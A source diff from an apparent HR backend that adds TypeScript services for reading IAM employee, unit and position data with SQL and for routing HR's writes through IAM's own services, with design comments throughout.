||||
};
|
||||
|
||||
/** One row of the employee directory — IAM identity plus HR onboarding state. */
|
||||
export type DirectoryRow = {
|
||||
employeeId: string;
|
||||
name: { am: string; en: string } | null;
|
||||
unitId: string | null;
|
||||
organizationId: string | null;
|
||||
username: string | null;
|
||||
email: string | null;
|
||||
profileId: string | null;
|
||||
employeeNumber: string | null;
|
||||
employmentState: string | null;
|
||||
employmentType: string | null;
|
||||
hireDate: string | null;
|
||||
isOnboarded: boolean;
|
||||
};
|
||||
|
||||
export type IamUnit = {
|
||||
id: string;
|
||||
name: { am: string; en: string } | null;
|
||||
key: string;
|
||||
parentUnitId: string | null;
|
||||
organizationId: string;
|
||||
};
|
||||
|
||||
/** A unit as the org explorer draws it: IAM facts + counts + the HR overlay. */
|
||||
export type UnitTreeNode = {
|
||||
id: string;
|
||||
name: { am: string; en: string } | null;
|
||||
key: string;
|
||||
parentUnitId: string | null;
|
||||
organizationId: string;
|
||||
organizationName: { am: string; en: string } | null;
|
||||
employeeCount: number;
|
||||
positionCount: number;
|
||||
hrProfileId: string | null;
|
||||
costCentreCode: string | null;
|
||||
headcountBudget: number | null;
|
||||
headEmployeeId: string | null;
|
||||
isHrActive: boolean | null;
|
||||
};
|
||||
|
||||
/** Someone currently holding a position — substantively or by delegation. */
|
||||
export type PositionHolder = {
|
||||
employeePositionId: string;
|
||||
employeeId: string;
|
||||
name: { am: string; en: string } | null;
|
||||
username: string | null;
|
||||
isDelegate: boolean;
|
||||
status: string;
|
||||
startDate: string | null;
|
||||
endDate: string | null;
|
||||
delegatorId: string | null;
|
||||
delegatorName: { am: string; en: string } | null;
|
||||
isOnboarded: boolean;
|
||||
profileId: string | null;
|
||||
employeeNumber: string | null;
|
||||
};
|
||||
|
||||
/** One node of the position hierarchy, flat with a depth marker. */
|
||||
export type PositionTreeRow = {
|
||||
id: string;
|
||||
name: { am: string; en: string } | null;
|
||||
key: string;
|
||||
rank: number;
|
||||
parentPositionId: string | null;
|
||||
unitId: string | null;
|
||||
unitName: { am: string; en: string } | null;
|
||||
depth: number;
|
||||
holderCount: number;
|
||||
jobPositionId: string | null;
|
||||
budgetedCount: number | null;
|
||||
isOpen: boolean | null;
|
||||
};
|
||||
|
||||
/** A position as the unit detail panel shows it. */
|
||||
export type UnitPositionRow = {
|
||||
id: string;
|
||||
name: { am: string; en: string } | null;
|
||||
key: string;
|
||||
rank: number;
|
||||
parentPositionId: string | null;
|
||||
holderCount: number;
|
||||
jobPositionId: string | null;
|
||||
budgetedCount: number | null;
|
||||
isOpen: boolean | null;
|
||||
};
|
||||
|
||||
export type IamPosition = {
|
||||
id: string;
|
||||
name: { am: string; en: string } | null;
|
||||
key: string;
|
||||
rank: number;
|
||||
parentPositionId: string | null;
|
||||
unitId: string;
|
||||
organizationId: string;
|
||||
};
|
||||
|
||||
/**
|
||||
* The ONLY place in this app that knows where IAM lives or what its tables are
|
||||
* called.
|
||||
*
|
||||
* READ PROJECTIONS ONLY — and no longer the only way HR touches IAM.
|
||||
*
|
||||
* IamModule is now embedded in this app, so IAM's entities and services are
|
||||
* available in-process. The division is deliberate:
|
||||
*
|
||||
* WRITES → IAM's own services, through IamModule. They run IAM's validation,
|
||||
* hooks, notifications and audit. HR must never insert into `iam.*`
|
||||
* itself; doing so would fork the behaviour one silent row at a time.
|
||||
* READS → these hand-written projections, where a list needs three columns
|
||||
* from two tables. Hydrating IAM's entity graph per row to render a
|
||||
* table is wasteful, and the batched lookups below exist to keep
|
||||
* list endpoints at one query per page instead of one per row.
|
||||
*
|
||||
* Use IAM's repositories directly when you need a whole IAM aggregate; use this
|
||||
* when you need a projection.
|
||||
*
|
||||
* SOFT DELETES: `iam.units`, `iam.positions` and `iam.organizations` extend
|
||||
* `SoftDeleteAudit`, so every query here filters `deleted_at IS NULL` — without
|
||||
* it HR would list units IAM considers deleted. `iam.employees` and `iam.users`
|
||||
* extend plain `Audit` and have no such column; do NOT add the predicate there.
|
||||
*
|
||||
* History worth keeping: those columns were absent from this database until
|
||||
* 2026-08-20 (a dump predating the package's `1785530375522-IAMUpdate`), which
|
||||
* made every IAM query against them 500 and briefly forced these filters out.
|
||||
* `pnpm repair:iam-schema` restores them. If you see
|
||||
* `column X.deleted_at does not exist`, the environment is drifted — run it.
|
||||
*
|
||||
* Every write path in HR stores IAM ids as plain UUIDs with no foreign key — the
|
||||
* platform's soft-reference stance. That means nothing at the database level
|
||||
* stops HR from pointing at an employee that no longer exists, so callers that
|
||||
* accept an IAM id from a client MUST validate it here first.
|
||||
*/
|
||||
@Injectable()
|
||||
export class IamDirectoryService {
|
||||
constructor(@InjectDataSource() private readonly dataSource: DataSource) {}
|
||||
|
||||
private static readonly EMPLOYEE_SELECT = `
|
||||
SELECT e.id,
|
||||
e.name,
|
||||
e.status,
|
||||
e.is_current AS "isCurrent",
|
||||
e.unit_id AS "unitId",
|
||||
e.organization_id AS "organizationId",
|
||||
e.user_id AS "userId",
|
||||
u.username,
|
||||
u.email,
|
||||
u.phone_number AS "phoneNumber",
|
||||
e.created_at AS "createdAt"
|
||||
FROM iam.employees e
|
||||
LEFT JOIN iam.users u ON u.id = e.user_id`;
|
||||
|
||||
async findEmployee(employeeId: string): Promise<IamEmployee | null> {
|
||||
const rows = await this.dataSource.query<IamEmployee[]>(
|
||||
`${IamDirectoryService.EMPLOYEE_SELECT} WHERE e.id = $1 LIMIT 1`,
|
||||
[employeeId],
|
||||
);
|
||||
return rows[0] ?? null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validating variant for request handling: a client-supplied employee id that
|
||||
* does not resolve is a 404, not a dangling row written into `hr`.
|
||||
*/
|
||||
async requireEmployee(employeeId: string): Promise<IamEmployee> {
|
||||
const employee = await this.findEmployee(employeeId);
|
||||
if (!employee) {
|
||||
throw new NotFoundException(
|
||||
`No IAM employee ${employeeId}. Create the employee in IAM before giving them an HR profile.`,
|
||||
);
|
||||
}
|
||||
return employee;
|
||||
}
|
||||
|
||||
/** Batch lookup for list endpoints — one query per page, never one per row. */
|
||||
async findEmployees(employeeIds: string[]): Promise<Map<string, IamEmployee>> {
|
||||
if (!employeeIds.length) return new Map();
|
||||
const rows = await this.dataSource.query<IamEmployee[]>(
|
||||
`${IamDirectoryService.EMPLOYEE_SELECT} WHERE e.id = ANY($1::uuid[])`,
|
||||
[employeeIds],
|
||||
);
|
||||
return new Map(rows.map((row) => [row.id, row]));
|
||||
}
|
||||
|
||||
/**
|
||||
* Employees matching a free-text term, for pickers. Searches both locales of
|
||||
* the jsonb name plus username/email, and returns only current employees.
|
||||
*/
|
||||
async searchEmployees(term: string, limit = 20): Promise<IamEmployee[]> {
|
||||
return this.dataSource.query<IamEmployee[]>(
|
||||
`${IamDirectoryService.EMPLOYEE_SELECT}
|
||||
WHERE e.is_current = true
|
||||
AND (
|
||||
e.name->>'en' ILIKE $1
|
||||
OR e.name->>'am' ILIKE $1
|
||||
OR u.username ILIKE $1
|
||||
OR u.email ILIKE $1
|
||||
)
|
||||
ORDER BY e.name->>'en'
|
||||
LIMIT $2`,
|
||||
[`%${term}%`, limit],
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Current employees attached to any of the given units. Backs the department
|
||||
* filter on the employee list: HR does not store the unit (IAM owns it), so a
|
||||
* unit filter is resolved here and intersected with the HR page.
|
||||
*/
|
||||
async findEmployeesByUnits(unitIds: string[]): Promise<IamEmployee[]> {
|
||||
if (!unitIds.length) return [];
|
||||
return this.dataSource.query<IamEmployee[]>(
|
||||
`${IamDirectoryService.EMPLOYEE_SELECT}
|
||||
WHERE e.unit_id = ANY($1::uuid[])`,
|
||||
[unitIds],
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* The employee DIRECTORY: every IAM employee, left-joined to their HR profile.
|
||||
*
|
||||
* This is the list HR actually needs. Querying `hr.employee_profiles` alone
|
||||
* shows only people somebody has already onboarded — on this database that
|
||||
* was 0 rows against 2,431 real employees, with no way to see or reach the
|
||||
* rest. Driving from `iam.employees` instead makes everyone visible and marks
|
||||
* who is onboarded, which is also what makes auto-provisioning possible: you
|
||||
* cannot lazily create a profile for someone you cannot find.
|
||||
*
|
||||
* Scoping joins IAM rather than reading a copied `organization_id` from `hr` —
|
||||
* the organization is IAM's fact and is deliberately not duplicated.
|
||||
*/
|
||||
async findEmployeeDirectoryPage(filters: {
|
||||
organizationId?: string | null;
|
||||
search?: string;
|
||||
unitIds?: string[] | null;
|
||||
onboarded?: boolean;
|
||||
employmentState?: string;
|
||||
limit: number;
|
||||
offset: number;
|
||||
}): Promise<{ items: DirectoryRow[]; total: number }> {
|
||||
const where: string[] = ["e.is_current = true"];
|
||||
const params: unknown[] = [];
|
||||
|
||||
if (filters.organizationId) {
|
||||
params.push(filters.organizationId);
|
||||
where.push(`e.organization_id = $${params.length}`);
|
||||
}
|
||||
if (filters.unitIds) {
|
||||
if (!filters.unitIds.length) return { items: [], total: 0 };
|
||||
params.push(filters.unitIds);
|
||||
where.push(`e.unit_id = ANY($${params.length}::uuid[])`);
|
||||
}
|
||||
if (filters.search) {
|
||||
params.push(`%${filters.search}%`);
|
||||
const p = `$${params.length}`;
|
||||
where.push(
|
||||
`(e.name->>'en' ILIKE ${p} OR e.name->>'am' ILIKE ${p} ` +
|
||||
`OR u.username ILIKE ${p} OR u.email ILIKE ${p} ` +
|
||||
`OR p.employee_number ILIKE ${p})`,
|
||||
);
|
||||
}
|
||||
if (filters.onboarded === true) where.push("p.id IS NOT NULL");
|
||||
if (filters.onboarded === false) where.push("p.id IS NULL");
|
||||
if (filters.employmentState) {
|
||||
params.push(filters.employmentState);
|
||||
where.push(`p.employment_state = $${params.length}`);
|
||||
}
|
||||
|
||||
const from = `
|
||||
FROM iam.employees e
|
||||
LEFT JOIN iam.users u ON u.id = e.user_id
|
||||
LEFT JOIN hr.employee_profiles p
|
||||
ON p.employee_id = e.id AND p.deleted_at IS NULL
|
||||
WHERE ${where.join(" AND ")}`;
|
||||
|
||||
const [count] = await this.dataSource.query<{ total: string }[]>(
|
||||
`SELECT count(*)::text AS total ${from}`,
|
||||
params,
|
||||
);
|
||||
|
||||
const items = await this.dataSource.query<DirectoryRow[]>(
|
||||
`SELECT e.id AS "employeeId",
|
||||
e.name AS "name",
|
||||
e.unit_id AS "unitId",
|
||||
e.organization_id AS "organizationId",
|
||||
u.username, u.email,
|
||||
p.id AS "profileId",
|
||||
p.employee_number AS "employeeNumber",
|
||||
p.employment_state AS "employmentState",
|
||||
p.employment_type AS "employmentType",
|
||||
-- ::text on purpose. node-postgres hydrates a date column into a
|
||||
-- Date at UTC midnight, which renders as the PREVIOUS day in any
|
||||
-- timezone behind UTC -- Ethiopia is UTC+3, so 2026-05-16 came
|
||||
-- back as 2026-05-15T21:00Z. Keep it a plain YYYY-MM-DD string,
|
||||
-- matching what the TypeORM-mapped profile returns.
|
||||
p.hire_date::text AS "hireDate",
|
||||
(p.id IS NOT NULL) AS "isOnboarded"
|
||||
${from}
|
||||
ORDER BY (p.id IS NOT NULL) DESC, e.name->>'en' ASC
|
||||
LIMIT ${filters.limit} OFFSET ${filters.offset}`,
|
||||
params,
|
||||
);
|
||||
|
||||
return { items, total: parseInt(count?.total ?? "0", 10) };
|
||||
}
|
||||
|
||||
/**
|
||||
* The whole unit tree for an organization, with the counts each node needs.
|
||||
*
|
||||
* One recursive query rather than a request per node: the tree is rendered
|
||||
* whole, and 35 units × (staff count + position count) as separate round
|
||||
* trips would be 70 queries to draw one screen.
|
||||
*
|
||||
* Counts come from IAM (staff, positions); the HR overlay is joined on so a
|
||||
* node can show its cost centre and headcount budget without a second pass.
|
||||
*/
|
||||
async findUnitTree(organizationId: string | null): Promise<UnitTreeNode[]> {
|
||||
const params: unknown[] = [];
|
||||
let scope = "";
|
||||
if (organizationId) {
|
||||
params.push(organizationId);
|
||||
scope = `WHERE u.organization_id = $${params.length}`;
|
||||
}
|
||||
|
||||
return this.dataSource.query<UnitTreeNode[]>(
|
||||
`SELECT u.id,
|
||||
u.name,
|
||||
u.key,
|
||||
u.parent_unit_id AS "parentUnitId",
|
||||
u.organization_id AS "organizationId",
|
||||
o.name AS "organizationName",
|
||||
(SELECT count(*)::int FROM iam.employees e
|
||||
WHERE e.unit_id = u.id AND e.is_current = true) AS "employeeCount",
|
||||
(SELECT count(*)::int FROM iam.positions p
|
||||
WHERE p.unit_id = u.id AND p.deleted_at IS NULL) AS "positionCount",
|
||||
hp.id AS "hrProfileId",
|
||||
hp.cost_centre_code AS "costCentreCode",
|
||||
hp.headcount_budget AS "headcountBudget",
|
||||
hp.head_employee_id AS "headEmployeeId",
|
||||
hp.is_hr_active AS "isHrActive"
|
||||
FROM iam.units u
|
||||
LEFT JOIN iam.organizations o ON o.id = u.organization_id
|
||||
LEFT JOIN hr.unit_hr_profiles hp
|
||||
ON hp.unit_id = u.id AND hp.deleted_at IS NULL
|
||||
${scope}
|
||||
ORDER BY u.name->>'en' ASC`,
|
||||
params,
|
||||
);
|
||||
}
|
||||
|
||||
/** Fallback lookup after a hire, when IAM's response shape is unclear. */
|
||||
async findEmployeeByUsername(username: string): Promise<IamEmployee | null> {
|
||||
const rows = await this.dataSource.query<IamEmployee[]>(
|
||||
`${IamDirectoryService.EMPLOYEE_SELECT}
|
||||
WHERE u.username = $1
|
||||
ORDER BY e.created_at DESC
|
||||
LIMIT 1`,
|
||||
[username],
|
||||
);
|
||||
return rows[0] ?? null;
|
||||
}
|
||||
|
||||
async findUnit(unitId: string): Promise<IamUnit | null> {
|
||||
const rows = await this.dataSource.query<IamUnit[]>(
|
||||
`SELECT id,
|
||||
name,
|
||||
key,
|
||||
parent_unit_id AS "parentUnitId",
|
||||
organization_id AS "organizationId"
|
||||
FROM iam.units
|
||||
WHERE id = $1 AND deleted_at IS NULL
|
||||
LIMIT 1`,
|
||||
[unitId],
|
||||
);
|
||||
return rows[0] ?? null;
|
||||
}
|
||||
|
||||
async requireUnit(unitId: string): Promise<IamUnit> {
|
||||
const unit = await this.findUnit(unitId);
|
||||
if (!unit) throw new NotFoundException(`No IAM unit ${unitId}`);
|
||||
return unit;
|
||||
}
|
||||
|
||||
async findUnits(unitIds: string[]): Promise<Map<string, IamUnit>> {
|
||||
if (!unitIds.length) return new Map();
|
||||
const rows = await this.dataSource.query<IamUnit[]>(
|
||||
`SELECT id,
|
||||
name,
|
||||
key,
|
||||
parent_unit_id AS "parentUnitId",
|
||||
organization_id AS "organizationId"
|
||||
FROM iam.units
|
||||
WHERE id = ANY($1::uuid[]) AND deleted_at IS NULL`,
|
||||
[unitIds],
|
||||
);
|
||||
return new Map(rows.map((row) => [row.id, row]));
|
||||
}
|
||||
|
||||
/**
|
||||
* The POSITION hierarchy — which is where this platform's org chart actually
|
||||
* lives.
|
||||
*
|
||||
* Verified on the production replica: 0 of 35 units have a parent, while
|
||||
* 1,019 of 1,043 positions do, nested 7 levels deep. A unit-first tree would
|
||||
* render a flat list of 35 and hide the real structure entirely.
|
||||
*
|
||||
* Returned flat with a depth marker and nested by the caller; one recursive
|
||||
* CTE beats a query per node for a 1,000-node tree. Holder counts and the HR
|
||||
* headcount overlay come along so a node needs no follow-up request.
|
||||
*/
|
||||
async findPositionTree(
|
||||
organizationId: string | null,
|
||||
unitId?: string,
|
||||
): Promise<PositionTreeRow[]> {
|
||||
const params: unknown[] = [];
|
||||
const filters: string[] = ["p.deleted_at IS NULL"];
|
||||
if (organizationId) {
|
||||
params.push(organizationId);
|
||||
filters.push(`p.organization_id = $${params.length}`);
|
||||
}
|
||||
if (unitId) {
|
||||
params.push(unitId);
|
||||
filters.push(`p.unit_id = $${params.length}`);
|
||||
}
|
||||
const where = filters.join(" AND ");
|
||||
|
||||
return this.dataSource.query<PositionTreeRow[]>(
|
||||
`WITH RECURSIVE tree AS (
|
||||
SELECT p.id, p.name, p.key, p.rank, p.parent_position_id, p.unit_id,
|
||||
1 AS depth
|
||||
FROM iam.positions p
|
||||
WHERE ${where}
|
||||
AND (p.parent_position_id IS NULL
|
||||
OR NOT EXISTS (SELECT 1 FROM iam.positions par
|
||||
WHERE par.id = p.parent_position_id
|
||||
AND par.deleted_at IS NULL))
|
||||
UNION ALL
|
||||
SELECT c.id, c.name, c.key, c.rank, c.parent_position_id, c.unit_id,
|
||||
tree.depth + 1
|
||||
FROM iam.positions c
|
||||
JOIN tree ON c.parent_position_id = tree.id
|
||||
WHERE c.deleted_at IS NULL
|
||||
AND tree.depth < 20
|
||||
)
|
||||
SELECT t.id,
|
||||
t.name,
|
||||
t.key,
|
||||
t.rank,
|
||||
t.parent_position_id AS "parentPositionId",
|
||||
t.unit_id AS "unitId",
|
||||
t.depth,
|
||||
u.name AS "unitName",
|
||||
(SELECT count(*)::int FROM iam.employee_positions ep
|
||||
WHERE ep.position_id = t.id
|
||||
AND ep.is_current = true
|
||||
AND ep.is_delegate = false
|
||||
AND ep.status = 'APPROVED') AS "holderCount",
|
||||
jp.id AS "jobPositionId",
|
||||
jp.budgeted_count AS "budgetedCount",
|
||||
jp.is_open AS "isOpen"
|
||||
FROM tree t
|
||||
LEFT JOIN iam.units u ON u.id = t.unit_id
|
||||
LEFT JOIN hr.job_positions jp
|
||||
ON jp.position_id = t.id AND jp.deleted_at IS NULL
|
||||
ORDER BY t.depth, t.rank, t.name->>'en'`,
|
||||
params,
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Who holds a position right now — substantive holders and delegates alike.
|
||||
*
|
||||
* Delegates are included but flagged. Delegation here is a RECORD MANAGEMENT
|
||||
* arrangement — the holder has handed their record duties to a colleague for
|
||||
* a period — not an HR assignment. So a delegate acts on the post's paperwork
|
||||
* today while NOT filling it: excluded from headcount, and excluded from HR's
|
||||
* line-manager resolution. Anything showing a post's people must distinguish
|
||||
* the two rather than sum them.
|
||||
*/
|
||||
async findPositionHolders(positionId: string): Promise<PositionHolder[]> {
|
||||
return this.dataSource.query<PositionHolder[]>(
|
||||
`SELECT ep.id AS "employeePositionId",
|
||||
ep.employee_id AS "employeeId",
|
||||
e.name AS "name",
|
||||
u.username,
|
||||
ep.is_delegate AS "isDelegate",
|
||||
ep.status,
|
||||
ep.start_date::text AS "startDate",
|
||||
ep.end_date::text AS "endDate",
|
||||
ep.delegator_id AS "delegatorId",
|
||||
del.name AS "delegatorName",
|
||||
(hp.id IS NOT NULL) AS "isOnboarded",
|
||||
hp.id AS "profileId",
|
||||
hp.employee_number AS "employeeNumber"
|
||||
FROM iam.employee_positions ep
|
||||
JOIN iam.employees e ON e.id = ep.employee_id
|
||||
LEFT JOIN iam.users u ON u.id = e.user_id
|
||||
LEFT JOIN iam.employee_positions dep ON dep.id = ep.delegator_id
|
||||
LEFT JOIN iam.employees del ON del.id = dep.employee_id
|
||||
LEFT JOIN hr.employee_profiles hp
|
||||
ON hp.employee_id = e.id AND hp.deleted_at IS NULL
|
||||
WHERE ep.position_id = $1
|
||||
AND ep.is_current = true
|
||||
AND ep.status = 'APPROVED'
|
||||
ORDER BY ep.is_delegate ASC, e.name->>'en' ASC`,
|
||||
[positionId],
|
||||
);
|
||||
}
|
||||
|
||||
/** Immediate children of a unit. */
|
||||
async findChildUnits(unitId: string): Promise<IamUnit[]> {
|
||||
return this.dataSource.query<IamUnit[]>(
|
||||
`SELECT id,
|
||||
name,
|
||||
key,
|
||||
parent_unit_id AS "parentUnitId",
|
||||
organization_id AS "organizationId"
|
||||
FROM iam.units
|
||||
WHERE parent_unit_id = $1 AND deleted_at IS NULL
|
||||
ORDER BY name->>'en'`,
|
||||
[unitId],
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Positions in a unit, with their current holder count and the HR headcount
|
||||
* overlay. Drives the unit detail panel — one query rather than one per post.
|
||||
*/
|
||||
async findUnitPositions(unitId: string): Promise<UnitPositionRow[]> {
|
||||
return this.dataSource.query<UnitPositionRow[]>(
|
||||
`SELECT p.id,
|
||||
p.name,
|
||||
p.key,
|
||||
p.rank,
|
||||
p.parent_position_id AS "parentPositionId",
|
||||
(SELECT count(*)::int FROM iam.employee_positions ep
|
||||
WHERE ep.position_id = p.id
|
||||
AND ep.is_current = true
|
||||
AND ep.is_delegate = false
|
||||
AND ep.status = 'APPROVED') AS "holderCount",
|
||||
jp.id AS "jobPositionId",
|
||||
jp.budgeted_count AS "budgetedCount",
|
||||
jp.is_open AS "isOpen"
|
||||
FROM iam.positions p
|
||||
LEFT JOIN hr.job_positions jp
|
||||
ON jp.position_id = p.id AND jp.deleted_at IS NULL
|
||||
WHERE p.unit_id = $1 AND p.deleted_at IS NULL
|
||||
ORDER BY p.rank ASC, p.name->>'en' ASC`,
|
||||
[unitId],
|
||||
);
|
||||
}
|
||||
|
||||
async findPosition(positionId: string): Promise<IamPosition | null> {
|
||||
const rows = await this.dataSource.query<IamPosition[]>(
|
||||
`SELECT id,
|
||||
name,
|
||||
key,
|
||||
rank,
|
||||
parent_position_id AS "parentPositionId",
|
||||
unit_id AS "unitId",
|
||||
organization_id AS "organizationId"
|
||||
FROM iam.positions
|
||||
WHERE id = $1 AND deleted_at IS NULL
|
||||
LIMIT 1`,
|
||||
[positionId],
|
||||
);
|
||||
return rows[0] ?? null;
|
||||
}
|
||||
|
||||
async requirePosition(positionId: string): Promise<IamPosition> {
|
||||
const position = await this.findPosition(positionId);
|
||||
if (!position) throw new NotFoundException(`No IAM position ${positionId}`);
|
||||
return position;
|
||||
}
|
||||
|
||||
/**
|
||||
* The employee's line manager, derived from the IAM position hierarchy:
|
||||
* the employee's current position → its `parent_position_id` → whoever
|
||||
* currently holds that parent position.
|
||||
*
|
||||
* This is the default approver for leave (3.2) and the default reviewer for
|
||||
* appraisals (3.6). `hr.employee_profiles.manager_employee_id` overrides it
|
||||
* when set, which is why this returns null rather than throwing — a unit head
|
||||
* legitimately has no parent position.
|
||||
*
|
||||
* Delegated positions are excluded, and the reason is sharper than it looks:
|
||||
* delegation on this platform belongs to the RECORD MANAGEMENT SYSTEM — a
|
||||
* holder hands their record duties to a colleague for a period. It says
|
||||
* nothing about the HR reporting line. Treating an RMS delegate as somebody's
|
||||
* line manager would route leave approvals to a person who was only ever
|
||||
* asked to handle paperwork.
|
||||
*
|
||||
* A parent position can have MANY current holders — verified against the live
|
||||
* database, where "Ticket Officer" has 20 and "Passenger Director" 9. "The"
|
||||
* line manager is therefore ambiguous, and an unordered LIMIT 1 would return a
|
||||
* different person between two calls. The tiebreak below makes the answer
|
||||
* deterministic by picking the longest-serving holder (earliest start date,
|
||||
* then earliest row, then lowest id). Where that is not the right approver,
|
||||
* `hr.employee_profiles.manager_employee_id` is the override — this is the
|
||||
* case it exists for.
|
||||
*/
|
||||
async findLineManagerEmployeeId(employeeId: string): Promise<string | null> {
|
||||
const rows = await this.dataSource.query<{ managerEmployeeId: string }[]>(
|
||||
`SELECT parent_holder.employee_id AS "managerEmployeeId"
|
||||
FROM iam.employee_positions ep
|
||||
JOIN iam.positions p
|
||||
ON p.id = ep.position_id
|
||||
AND p.deleted_at IS NULL
|
||||
JOIN iam.employee_positions parent_holder
|
||||
ON parent_holder.position_id = p.parent_position_id
|
||||
AND parent_holder.is_current = true
|
||||
AND parent_holder.is_delegate = false
|
||||
AND parent_holder.status = 'APPROVED'
|
||||
WHERE ep.employee_id = $1
|
||||
AND ep.is_current = true
|
||||
AND ep.is_delegate = false
|
||||
AND ep.status = 'APPROVED'
|
||||
AND parent_holder.employee_id <> $1
|
||||
ORDER BY p.rank ASC,
|
||||
parent_holder.start_date ASC NULLS LAST,
|
||||
parent_holder.created_at ASC,
|
||||
parent_holder.employee_id ASC
|
||||
LIMIT 1`,
|
||||
[employeeId],
|
||||
);
|
||||
return rows[0]?.managerEmployeeId ?? null;
|
||||
}
|
||||
|
||||
/**
|
||||
* How many current, non-delegate holders a position has. Feeds
|
||||
* `hr.job_positions.current_count`, which is a cache of this number — IAM
|
||||
* remains the source of truth for who holds what.
|
||||
*/
|
||||
async countCurrentPositionHolders(positionId: string): Promise<number> {
|
||||
const rows = await this.dataSource.query<{ count: string }[]>(
|
||||
`SELECT COUNT(*)::text AS count
|
||||
FROM iam.employee_positions
|
||||
WHERE position_id = $1
|
||||
AND is_current = true
|
||||
AND is_delegate = false
|
||||
AND status = 'APPROVED'`,
|
||||
[positionId],
|
||||
);
|
||||
return parseInt(rows[0]?.count ?? "0", 10);
|
||||
}
|
||||
|
||||
/** Every unit id at or beneath `unitId`, for department-scoped listings. */
|
||||
async findUnitSubtreeIds(unitId: string): Promise<string[]> {
|
||||
const rows = await this.dataSource.query<{ id: string }[]>(
|
||||
`WITH RECURSIVE subtree AS (
|
||||
SELECT id FROM iam.units WHERE id = $1 AND deleted_at IS NULL
|
||||
UNION ALL
|
||||
SELECT u.id
|
||||
FROM iam.units u
|
||||
JOIN subtree s ON u.parent_unit_id = s.id
|
||||
WHERE u.deleted_at IS NULL
|
||||
)
|
||||
SELECT id FROM subtree`,
|
||||
[unitId],
|
||||
);
|
||||
return rows.map((row) => row.id);
|
||||
}
|
||||
}
|
||||
168
apps/edr-hr-api/src/iam-directory/iam-operations.service.ts
Normal file
168
apps/edr-hr-api/src/iam-directory/iam-operations.service.ts
Normal file
@@ -0,0 +1,168 @@
|
||||
import { Injectable, OnModuleInit } from "@nestjs/common";
|
||||
import { ModuleRef } from "@nestjs/core";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
import type { TCurrentUser as IamCurrentUser } from "@tria-plc/iamapi-common/types/current-user.type";
|
||||
import { PositionService } from "@tria-plc/iamapi-common/module/organization-structure/services/position.service";
|
||||
import { UnitService } from "@tria-plc/iamapi-common/module/organization-structure/services/unit.service";
|
||||
import { EmployeePositionService } from "@tria-plc/iamapi-common/module/organization-structure/services/employee-position.service";
|
||||
import { EmployeeService } from "@tria-plc/iamapi-common/module/organization-structure/services/employee.service";
|
||||
|
||||
/**
|
||||
* The WRITE counterpart to IamDirectoryService.
|
||||
*
|
||||
* Every change HR makes to IAM data goes through IAM's own services, so IAM's
|
||||
* validation, hooks, notifications and audit all run. HR never INSERTs into
|
||||
* `iam.*` itself — doing so would fork the behaviour one silent row at a time.
|
||||
*
|
||||
* Resolved with `ModuleRef({ strict: false })` rather than constructor
|
||||
* injection, because `OrganizationStructureModule` exports only
|
||||
* `OrganizationService`; the rest are providers in the app graph but not
|
||||
* exported, so they are unreachable by ordinary injection. Verified working
|
||||
* against the package at 1.3.4.
|
||||
*
|
||||
* If a future version exports them, this whole indirection collapses into
|
||||
* normal constructor injection and nothing else changes.
|
||||
*
|
||||
* VERSION SKEW, contained here on purpose: `iamapi-common@1.3.4` ships its own
|
||||
* `TCurrentUser` whose `employee.position` carries two fields (`applications`,
|
||||
* `positionTypes`) that `api-common@1.6.0`'s type does not. 1.6.0 is the newest
|
||||
* api-common artifact that exists — its source repo is still on 1.4.3 — so the
|
||||
* gap cannot be closed by upgrading. The value is the same object at runtime;
|
||||
* only the declarations disagree. `asIamUser` marks every crossing so the day
|
||||
* api-common catches up, the casts are trivial to find and delete.
|
||||
*/
|
||||
const asIamUser = (user: TCurrentUser): IamCurrentUser =>
|
||||
user as unknown as IamCurrentUser;
|
||||
|
||||
@Injectable()
|
||||
export class IamOperationsService implements OnModuleInit {
|
||||
private units!: UnitService;
|
||||
private positions!: PositionService;
|
||||
private employeePositions!: EmployeePositionService;
|
||||
private employees!: EmployeeService;
|
||||
|
||||
constructor(private readonly moduleRef: ModuleRef) {}
|
||||
|
||||
onModuleInit(): void {
|
||||
// Resolved once at boot, not per call: a missing provider should fail the
|
||||
// app at startup, not the first time an HR officer clicks "create unit".
|
||||
this.units = this.moduleRef.get(UnitService, { strict: false });
|
||||
this.positions = this.moduleRef.get(PositionService, { strict: false });
|
||||
this.employeePositions = this.moduleRef.get(EmployeePositionService, {
|
||||
strict: false,
|
||||
});
|
||||
this.employees = this.moduleRef.get(EmployeeService, { strict: false });
|
||||
}
|
||||
|
||||
// ── Units ────────────────────────────────────────────────────────────────
|
||||
|
||||
async createUnit(
|
||||
payload: {
|
||||
name: { am: string; en: string };
|
||||
key: string;
|
||||
organizationId?: string;
|
||||
parentUnitId?: string;
|
||||
},
|
||||
user: TCurrentUser,
|
||||
) {
|
||||
return this.units.create(payload as never, asIamUser(user));
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-parent a unit. IAM moves the whole subtree with it — the callers's UI
|
||||
* must say so before running this.
|
||||
*/
|
||||
async moveUnit(unitId: string, newParentUnitId: string): Promise<void> {
|
||||
await this.units.relateUnitToUnit({ unitId, newParentUnitId } as never);
|
||||
}
|
||||
|
||||
// ── Positions ────────────────────────────────────────────────────────────
|
||||
|
||||
async createPosition(
|
||||
payload: {
|
||||
name: { am: string; en: string };
|
||||
key: string;
|
||||
unitId: string;
|
||||
organizationId?: string;
|
||||
parentPositionId?: string;
|
||||
rank: number;
|
||||
positionTypeId?: string;
|
||||
},
|
||||
user: TCurrentUser,
|
||||
) {
|
||||
return this.positions.create(payload as never, asIamUser(user));
|
||||
}
|
||||
|
||||
/** `null` promotes the position to a root of its unit's chart. */
|
||||
async changePositionParent(
|
||||
positionId: string,
|
||||
newParentId: string | null,
|
||||
): Promise<void> {
|
||||
await this.positions.changeParentPosition(positionId, newParentId);
|
||||
}
|
||||
|
||||
async softDeletePosition(positionId: string, user: TCurrentUser) {
|
||||
return this.positions.softDelete(positionId, asIamUser(user));
|
||||
}
|
||||
|
||||
// ── Assignment ───────────────────────────────────────────────────────────
|
||||
|
||||
async assignEmployeeToPosition(positionId: string, employeeId: string) {
|
||||
return this.employeePositions.assignNewEmployee({
|
||||
positionId,
|
||||
employeeId,
|
||||
} as never);
|
||||
}
|
||||
|
||||
